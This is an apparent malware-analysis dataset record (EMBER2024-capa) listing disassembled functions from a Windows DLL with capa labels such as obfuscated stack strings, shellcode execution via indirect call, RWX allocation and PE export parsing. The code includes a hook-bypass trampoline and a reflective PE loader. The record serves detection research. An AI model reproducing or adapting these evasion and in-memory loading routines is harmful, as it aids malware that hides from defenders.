joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001d20
Capabilities:
Contain obfuscated stackstrings
Read file via mapping

Disassembly:
sub esp, 0x214
push ebx
push ebp
mov al, 0x6c
push esi
push edi
xor ebx, ebx
mov byte [esp + 0x1d], al
mov byte [esp + 0x21], al
or ecx, 0xffffffff
lea edi, [esp + 0x1c]
xor eax, eax
mov byte [esp + 0x1c], 0x47
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x62
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], bl
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x14], 0x54
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0x15], 0x53
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [esp + 0x16], 0x56
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x18], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x24]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov byte [esp + 0x10], 0x5f
and ecx, 3
mov byte [esp + 0x11], 0x25
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
mov byte [esp + 0x12], 0x64
mov byte [esp + 0x13], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x24]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor eax, 0x2327
lea ecx, [esp + 0x124]
push eax
lea eax, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x124]
push edx
push ebx
push 0xf001f
call fcn.10002f40
mov esi, eax
cmp esi, ebx
je 0x10001e6a
push ebx
push ebx
push ebx
push 6
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
je 0x10001e63
mov ecx, dword [eax]
push eax
mov dword [0x10006030], ecx
mov edx, dword [eax + 4]
mov dword [0x10006034], edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x214
ret

Function at 0x10001e80
Capabilities:
Create thread

Disassembly:
push ecx
call fcn.10001d20
test eax, eax
je 0x10001ebd
call fcn.10001b60
lea eax, [esp]
mov dword [esp], 0
push eax
push 0
push 0
push 0x10001ec0
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x10001ebd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x10002250
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [0x10007040]
sub esp, 0x18
test eax, eax
jne 0x100022f0
mov al, 0x65
mov cl, 0x73
mov byte [esp + 2], al
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x15], al
mov byte [esp + 1], cl
mov byte [esp + 0x11], cl
mov byte [esp + 0x12], cl
lea eax, [esp + 0xc]
lea ecx, [esp]
mov dl, 0x6c
push eax
push ecx
mov byte [esp + 8], 0x75
mov byte [esp + 0xb], 0x72
mov byte [esp + 0xc], 0x33
mov byte [esp + 0xd], 0x32
mov byte [esp + 0xe], 0x2e
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x10], dl
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], 0
mov byte [esp + 0x14], 0x47
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x4d
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x67
mov byte [esp + 0x1e], 0x41
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [0x10007040], eax
je 0x1000230a
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
call eax
add esp, 0x18
ret
xor eax, eax
add esp, 0x18
ret
Function at 0x100028b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
push esi
mov cl, 0x50
mov al, 0x74
push edi
mov byte [esp + 0xc], 0x7a
mov byte [esp + 0xd], 0x62
mov byte [esp + 0xe], 0x63
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x10], 0x65
mov byte [esp + 0x11], 0x66
mov byte [esp + 0x12], 0x67
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x4a
mov byte [esp + 0x15], 0x4b
mov byte [esp + 0x16], 0x4c
mov byte [esp + 0x17], al
mov byte [esp + 0x18], 0x6a
mov byte [esp + 0x19], 0x4f
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0x51
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x75
mov byte [esp + 0x20], 0x76
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x78
mov byte [esp + 0x23], 0x79
mov byte [esp + 0x24], 0x5a
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0x59
mov byte [esp + 0x27], 0x43
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x45
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x47
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
add esp, 4
call ebp
mov esi, eax
and esi, 0x80000007
jns 0x1000297d
dec esi
or esi, 0xfffffff8
inc esi
add esi, 8
xor edi, edi
test esi, esi
jle 0x100029b3
push ebx
mov ebx, dword [esp + 0x34]
call ebp
and eax, 0x8000001f
jns 0x10002999
dec eax
or eax, 0xffffffe0
inc eax
mov al, byte [esp + eax + 0x10]
inc al
mov byte [edi + ebx], al
inc edi
cmp edi, esi
jl 0x1000298b
mov byte [esi + ebx], 0
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20
ret
mov ecx, dword [esp + 0x30]
pop edi
mov byte [esi + ecx], 0
pop esi
pop ebp
add esp, 0x20
ret
Function at 0x10002c50
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
sub esp, 0x214
mov cl, 0x64
mov al, 0x6c
mov byte [esp + 6], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0x15], cl
mov cl, 0x69
mov byte [esp + 7], al
mov byte [esp + 8], al
mov byte [esp + 0xb], al
mov byte [esp + 0xc], al
mov byte [esp + 0x1d], al
push ebx
mov byte [esp + 0x1d], cl
mov byte [esp + 0x1f], cl
mov byte [esp + 0x22], cl
lea eax, [esp + 0x18]
push esi
lea ecx, [esp + 0xc]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], dl
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x19], 0x2e
mov byte [esp + 0x1d], bl
mov byte [esp + 0x24], 0x4c
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x49
mov byte [esp + 0x28], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2f], 0x7a
mov byte [esp + 0x30], 0x65
mov byte [esp + 0x31], 0x54
mov byte [esp + 0x32], 0x68
mov byte [esp + 0x33], 0x75
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x6b
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.10004390
add esp, 8
cmp eax, ebx
je 0x10002d48
push 8
push 0x10006038
push eax
call fcn.10001cd0
add esp, 0xc
lea edx, [esp + 0x11c]
push edx
call fcn.100018b0
add esp, 4
lea eax, [esp + 0x11c]
push ebx
push 0x80
push 3
push ebx
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002da1
lea ecx, [esp + 0x18]
push ebx
push ecx
lea edx, [esp + 0x13]
push 1
push edx
push esi
mov byte [esp + 0x1f], 0x65
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
add esp, 0x214
ret

Function at 0x10002e70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005100
push 0x10004e20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
cmp word [ecx], 0x5a4d
jne 0x10002f0b
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x10002f0b
mov edx, dword [eax + 0xd8]
lea edi, [edx + ecx]
mov esi, dword [ebp + 0xc]
cmp esi, edi
jb 0x10002f0b
mov eax, dword [eax + 0xdc]
add eax, edx
add eax, ecx
cmp esi, eax
jae 0x10002f0b
mov dword [ebp - 4], 0xffffffff
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002f40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x234
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x3a]
mov word [esp + 0x38], 0
push 0x100
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x248]
stosw word es:[edi], ax
lea eax, [esp + 0x3c]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [0x10007260]
pop edi
test eax, eax
jne 0x100030a8
push ebx
mov dl, 0x6e
mov bl, 0x64
mov byte [esp + 7], dl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x17], dl
mov byte [esp + 0x21], dl
mov byte [esp + 0xf], bl
mov byte [esp + 0x31], bl
lea edx, [esp + 4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov cl, 0x65
mov al, 0x6c
mov bl, 0x70
push edx
mov byte [esp + 0xc], 0x6b
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x72
mov byte [esp + 0x10], cl
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x2e
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], al
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], 0
mov byte [esp + 0x1c], 0x4f
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x20], 0x46
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], al
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x69
mov byte [esp + 0x2a], 0x67
mov byte [esp + 0x2b], 0x57
mov byte [esp + 0x2c], 0
call esi
test eax, eax
je 0x1000307c
lea eax, [esp + 0x18]
lea ecx, [esp + 8]
push eax
push ecx
jmp 0x10003086
lea edx, [esp + 0x18]
lea eax, [esp + 0x2c]
push edx
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
mov dword [0x10007260], eax
call fcn.10002e30
add esp, 4
mov dword [0x10007260], eax
test eax, eax
pop esi
pop ebx
je 0x100030cb
mov edx, dword [esp + 0x23c]
mov eax, dword [esp + 0x238]
lea ecx, [esp + 0x34]
push ecx
push edx
push eax
call fcn.10002f30
add esp, 0x234
ret 0xc
xor eax, eax
add esp, 0x234
ret 0xc
Function at 0x10003170
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x60
test eax, eax
push edi
je 0x100031a4
push 0
push 0
push 0
push 0x100037b0
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
add esp, 0x60
ret 8
mov edi, 0x10007264
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1000319b
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
not eax
push eax
lea eax, [esp + 0x74]
lea ecx, [esp + 0xc]
push eax
push ecx
mov byte [esp + 0x7c], 0x25
mov byte [esp + 0x7d], 0x78
mov byte [esp + 0x7e], 0
mov byte [esp + 0x7f], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esp + 0x34]
lea eax, [esp + 0x14]
push edx
push eax
call fcn.10004340
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x10007264
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
pop edi
add esp, 0x60
ret 8
Function at 0x100038b0
Capabilities:
Hash data with md5

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [edx], 0x67452301
mov dword [edx + 4], 0xefcdab89
mov dword [edx + 8], 0x98badcfe
mov dword [edx + 0xc], 0x10325476
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [edx + 0x14]
mov dword [edx + 0x10], ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
Function at 0x10004390
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xe0
mov ecx, dword [esp + 0xe4]
push ebx
push ebp
push esi
mov eax, dword [ecx + 0x3c]
push edi
add eax, ecx
mov ebp, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + ebp + 0x24]
mov edi, dword [ecx + ebp + 0x1c]
mov edx, dword [ecx + ebp + 0x20]
mov ebx, dword [ecx + ebp + 0x18]
mov esi, dword [ecx + ebp + 0x10]
add eax, ecx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xf8]
add edi, ecx
add edx, ecx
test eax, 0xffff0000
mov dword [esp + 0x20], edi
jne 0x10004402
cmp eax, esi
jb 0x10004463
mov edx, dword [ecx + ebp + 0x14]
lea edx, [edx + esi - 1]
cmp eax, edx
ja 0x10004463
sub eax, esi
mov eax, dword [edi + eax*4]
pop edi
pop esi
pop ebp
add eax, ecx
pop ebx
add esp, 0xe0
ret
test ebx, ebx
mov dword [esp + 0x18], 0
jle 0x10004463
mov dword [esp + 0x1c], edx
mov esi, dword [edx]
mov edi, eax
add esi, ecx
mov bl, byte [esi]
mov dl, bl
cmp bl, byte [edi]
jne 0x1000443c
test dl, dl
je 0x10004438
mov bl, byte [esi + 1]
mov dl, bl
cmp bl, byte [edi + 1]
jne 0x1000443c
add esi, 2
add edi, 2
test dl, dl
jne 0x10004418
xor edx, edx
jmp 0x10004441
sbb edx, edx
sbb edx, 0xffffffff
xor ebx, ebx
cmp edx, ebx
je 0x10004470
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov edi, dword [ecx + ebp + 0x18]
inc esi
add edx, 4
cmp esi, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], edx
jl 0x10004412
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xe0
ret
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x18]
xor eax, eax
mov ax, word [edx + esi*2]
mov edx, dword [esp + 0x20]
mov esi, dword [edx + eax*4]
lea eax, [ecx + ebp]
add esi, ecx
cmp esi, eax
jb 0x10004544
mov edx, dword [esp + 0x10]
add edx, ebp
add edx, ecx
cmp esi, edx
ja 0x10004544
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x8d]
mov byte [esp + 0x8c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x28]
push esi
push eax
call edi
lea ecx, [esp + 0x28]
push 0x2e
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
cmp eax, ebx
jne 0x100044ff
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe0
ret
mov byte [eax], bl
inc eax
lea edx, [esp + 0x8c]
push eax
push edx
call edi
mov al, 0x6c
lea ecx, [esp + 0x28]
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
lea eax, [esp + 0x10]
mov byte [esp + 0x10], 0x2e
push eax
push ecx
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
jne 0x10004551
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe0
ret
lea ecx, [esp + 0x8c]
push ecx
push eax
call fcn.10004390
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe0
ret
Function at 0x10004570
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov eax, dword [0x10007374]
sub esp, 0x440
test eax, eax
push esi
jne 0x1000466b
mov al, 0x4c
mov cl, 0x61
mov byte [esp + 0x24], al
mov byte [esp + 0x28], al
mov al, 0x72
mov byte [esp + 0x26], cl
mov byte [esp + 0x2b], al
mov byte [esp + 0x2d], al
mov byte [esp + 6], al
xor eax, eax
mov dword [esp + 0xd], eax
mov byte [esp + 0x2c], cl
mov dword [esp + 0x11], eax
mov cl, 0x65
mov dword [esp + 0x15], eax
mov byte [esp + 5], cl
mov byte [esp + 8], cl
mov dword [esp + 0x19], eax
lea ecx, [esp + 0x24]
lea edx, [esp + 4]
mov dword [esp + 0x1d], eax
push ecx
push edx
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x62
mov byte [esp + 0x36], 0x79
mov byte [esp + 0x37], 0x57
mov byte [esp + 0x38], 0
mov byte [esp + 0xc], 0x6b
mov byte [esp + 0xf], 0x6e
mov byte [esp + 0x11], 0x6c
mov byte [esp + 0x12], 0x33
mov byte [esp + 0x13], 0x32
mov byte [esp + 0x14], 0
mov byte [esp + 0x29], al
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.10004390
add esp, 8
test eax, eax
je 0x1000468c
mov cl, 0x8b
add eax, 5
mov byte [0x10007368], cl
mov byte [0x10007369], 0xff
mov byte [0x1000736a], 0x55
mov byte [0x1000736b], cl
mov byte [0x1000736c], 0xec
mov byte [0x1000736d], 0x68
mov dword [0x1000736e], eax
mov byte [0x10007372], 0xc3
mov dword [0x10007374], 1
push 0x40
push 0x3000
push 0xb
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100046a1
pop esi
add esp, 0x440
ret 4
mov eax, dword [0x10007374]
test eax, eax
jne 0x1000466b
xor eax, eax
pop esi
add esp, 0x440
ret 4
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x4a]
mov word [esp + 0x48], 0
push 0x200
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x450]
stosw word es:[edi], ax
lea eax, [esp + 0x4c]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [0x10007368]
mov edx, esi
mov dword [edx], eax
mov ecx, dword [0x1000736c]
mov dword [edx + 4], ecx
mov ax, word [0x10007370]
mov word [edx + 8], ax
mov cl, byte [0x10007372]
mov byte [edx + 0xa], cl
lea edx, [esp + 0x48]
push edx
call esi
push 0x8000
push 0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
add esp, 0x440
ret 4
Function at 0x10004720
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0x40
mov esi, dword [ebp + 0x3c]
push 0x3000
add esi, ebp
mov eax, dword [esi + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x1000474b
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esi + 0x54]
mov edx, dword [ebp + 0x3c]
add ecx, edx
mov esi, ebp
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x3c]
add esi, ebx
push esi
push ebp
push ebx
call fcn.10004800
mov ecx, dword [esi + 0x34]
mov eax, ebx
add esp, 0xc
sub eax, ecx
je 0x10004789
push eax
push esi
push ebx
call fcn.10004860
add esp, 0xc
push esi
push ebx
call fcn.100048e0
add esp, 8
test eax, eax
je 0x100047e0
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push eax
push ecx
push esi
push ebx
call fcn.10004a30
add esp, 0x10
test eax, eax
je 0x100047e0
mov edi, dword [esi + 0x28]
push esi
push ebx
call fcn.10004a90
push esi
push ebx
call fcn.100049a0
push esi
push ebx
call fcn.10004cf0
add esp, 0x18
test edi, edi
je 0x100047f5
lea eax, [ebx + edi]
test eax, eax
je 0x100047e0
push 1
push 1
push ebx
call eax
test eax, eax
jne 0x100047f5
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
ret

Function at 0x10004800
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 0xc]
xor ecx, ecx
push ebx
xor ebx, ebx
mov cx, word [eax + 0x14]
cmp word [eax + 6], bx
lea ecx, [ecx + eax + 0x18]
jbe 0x10004859
push ebp
push esi
push edi
lea edx, [ecx + 0x10]
mov eax, dword [edx - 4]
mov ebp, dword [esp + 0x14]
mov ecx, dword [edx]
mov esi, dword [edx + 4]
mov edi, dword [esp + 0x18]
add eax, ebp
mov ebp, ecx
add esi, edi
mov edi, eax
add edx, 0x28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov dword [edx - 0x30], eax
xor eax, eax
mov ax, word [ecx + 6]
cmp ebx, eax
jl 0x1000481d
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100049a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
xor eax, eax
push ebp
mov ax, word [ebx + 0x14]
xor ebp, ebp
cmp word [ebx + 6], bp
lea eax, [eax + ebx + 0x18]
jbe 0x10004a2c
push esi
push edi
lea esi, [eax + 0x24]
mov eax, dword [esi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
and ecx, 1
and edx, 1
lea ecx, [edx + ecx*2]
mov edx, eax
shr edx, 0x1f
test eax, 0x4000000
lea ecx, [edx + ecx*2]
mov edi, dword [ecx*4 + 0x10006010]
je 0x100049ee
or edi, 0x200
mov edx, dword [esi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10004a09
test al, 0x40
je 0x10004a00
mov ecx, dword [ebx + 0x20]
jmp 0x10004a07
test al, 0x80
je 0x10004a1c
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x10004a1c
mov ecx, dword [esi - 0x1c]
lea eax, [esp + 0x18]
push eax
push edi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
inc ebp
mov dx, word [ebx + 6]
add esi, 0x28
cmp ebp, edx
jl 0x100049bd
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10004d10
Capabilities:
Read file on windows

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
lea eax, [esp + 4]
push edi
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x10], 0x72
mov byte [esp + 0x11], 0x62
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], bl
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x10004daf
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebx
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push ebx
push ebx
push edi
mov ebp, eax
call esi
add esp, 0x1c
push 4
push 0x3000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10004d9d
push edi
push ebp
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
push ebx
push ebx
push esi
mov word [esi], bx
call fcn.10004720
add esp, 0x1c
mov ebx, eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, ebx
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
mov eax, ebx
pop edi
pop ebx
pop ecx
ret